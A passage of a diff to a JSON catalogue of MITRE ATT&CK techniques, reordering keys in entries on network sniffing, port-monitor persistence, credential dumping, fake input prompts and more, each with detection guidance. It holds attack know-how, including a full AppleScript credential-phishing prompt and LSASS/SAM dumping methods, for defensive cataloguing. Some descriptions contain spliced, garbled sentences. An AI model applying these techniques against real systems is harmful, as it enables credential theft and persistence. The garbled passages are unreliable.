+ "value": "Rundll32"
},
{
"description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow",
- "value": "Network Sniffing",
"meta": {
"mitre_data_sources": [
"Network device logs",
"Host network interface",
"Netflow/Enclave netflow"
],
- "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1040"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4498,12 +4499,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1040"
+ ],
+ "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529"
+ },
+ "value": "Network Sniffing"
},
{
"description": "A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to AddMonitor.\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Stefan Kanthak",
- "value": "Local Port Monitor",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -4512,61 +4517,56 @@
"Windows Registry",
"Process monitoring"
],
- "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1013",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"http://msdn.microsoft.com/en-us/library/dd183341",
"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125"
+ },
+ "value": "Local Port Monitor"
},
{
"description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters",
- "value": "Source",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
"File monitoring",
"Process command-line parameters"
],
- "uuid": "d1be72cb-6893-4ca4-82d2-0c58f7dafde4",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1153"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1153"
+ ],
+ "uuid": "d1be72cb-6893-4ca4-82d2-0c58f7dafde4"
+ },
+ "value": "Source"
},
{
"description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata",
- "value": "Software Packing",
"meta": {
"mitre_data_sources": [
"Binary file metadata"
],
- "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1045",
- "http://en.wikipedia.org/wiki/Executable%20compression"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4580,22 +4580,23 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1045",
+ "http://en.wikipedia.org/wiki/Executable%20compression"
+ ],
+ "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88"
+ },
+ "value": "Software Packing"
},
{
"description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters",
- "value": "Application Window Discovery",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1010"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4611,17 +4612,34 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1010"
+ ],
+ "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830"
+ },
+ "value": "Application Window Discovery"
},
{
"description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.Rootkit functionality to hide its existence from the guest operating system.[[Citation: Myers 2007]] A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present.[[Citation: virtualization.info 2006]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: System calls",
- "value": "Hypervisor",
"meta": {
"mitre_data_sources": [
"System calls"
],
- "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1062",
"https://en.wikipedia.org/wiki/Hypervisor",
@@ -4629,25 +4647,12 @@
"http://en.wikipedia.org/wiki/Xen",
"http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63"
+ },
+ "value": "Hypervisor"
},
{
"description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters",
- "value": "Credential Dumping",
"meta": {
"mitre_data_sources": [
"API monitoring",
@@ -4655,12 +4660,6 @@
"PowerShell logs",
"Process command-line parameters"
],
- "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1003",
- "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa",
- "https://github.com/mattifestation/PowerSploit"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4674,12 +4673,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1003",
+ "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa",
+ "https://github.com/mattifestation/PowerSploit"
+ ],
+ "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22"
+ },
+ "value": "Credential Dumping"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture",
- "value": "Web Service",
"meta": {
"mitre_data_sources": [
"Host network interface",
@@ -4687,11 +4692,6 @@
"Network protocol analysis",
"Packet capture"
],
- "uuid": "830c9528-df21-472c-8c14-a036bf17d665",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1102",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4708,23 +4708,23 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1102",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "830c9528-df21-472c-8c14-a036bf17d665"
+ },
+ "value": "Web Service"
},
{
"description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters",
- "value": "Query Registry",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1012",
- "https://en.wikipedia.org/wiki/Windows%20Registry"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4738,12 +4738,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1012",
+ "https://en.wikipedia.org/wiki/Windows%20Registry"
+ ],
+ "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896"
+ },
+ "value": "Query Registry"
},
{
"description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata",
- "value": "Third-party Software",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -4753,10 +4758,6 @@
"Process use of network",
"Binary file metadata"
],
- "uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1072"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4773,12 +4774,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1072"
+ ],
+ "uuid": "92a78814-b191-47ca-909c-1ccfe3777414"
+ },
+ "value": "Third-party Software"
},
{
"description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring",
- "value": "Remote File Copy",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -4788,11 +4793,6 @@
"Network protocol analysis",
"Process monitoring"
],
- "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1105",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4809,50 +4809,51 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1105",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add"
+ },
+ "value": "Remote File Copy"
},
{
"description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring",
- "value": "File System Logical Offsets",
"meta": {
"mitre_data_sources": [
"API monitoring"
],
- "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1006",
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1",
"http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5"
+ },
+ "value": "File System Logical Offsets"
},
{
"description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring",
- "value": "Shared Webroot",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
],
- "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1051"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4866,22 +4867,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1051"
+ ],
+ "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db"
+ },
+ "value": "Shared Webroot"
},
{
"description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process monitoring, Process command-line parameters",
- "value": "Indicator Blocking",
"meta": {
"mitre_data_sources": [
"Sensor health and status",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1054"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4895,41 +4896,41 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1054"
+ ],
+ "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df"
+ },
+ "value": "Indicator Blocking"
},
{
"description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n[[Citation: OSX Keydnap malware]]\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring",
- "value": "Input Prompt",
"meta": {
"mitre_data_sources": [
"User interface",
"Process Monitoring"
],
- "uuid": "cbd1028b-eeac-40bd-b86e-0430f4e127a9",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1141",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "cbd1028b-eeac-40bd-b86e-0430f4e127a9"
+ },
+ "value": "Input Prompt"
},
{
"description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring",
- "value": "Exfiltration Over Physical Medium",
"meta": {
"mitre_data_sources": [
"Data loss prevention",
"File monitoring"
],
- "uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1052"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4946,25 +4947,22 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1052"
+ ],
+ "uuid": "e6415f09-df0e-48de-9aba-928c902b7549"
+ },
+ "value": "Exfiltration Over Physical Medium"
},
{
"description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.Scheduled Task[[Citation: RSA EU12 They're Inside]], or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring",
- "value": "System Time Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters",
"API monitoring"
],
- "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1124",
- "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
- "https://msdn.microsoft.com/ms724961.aspx",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4978,12 +4976,19 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1124",
+ "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
+ "https://msdn.microsoft.com/ms724961.aspx",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
+ ],
+ "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077"
+ },
+ "value": "System Time Discovery"
},
{
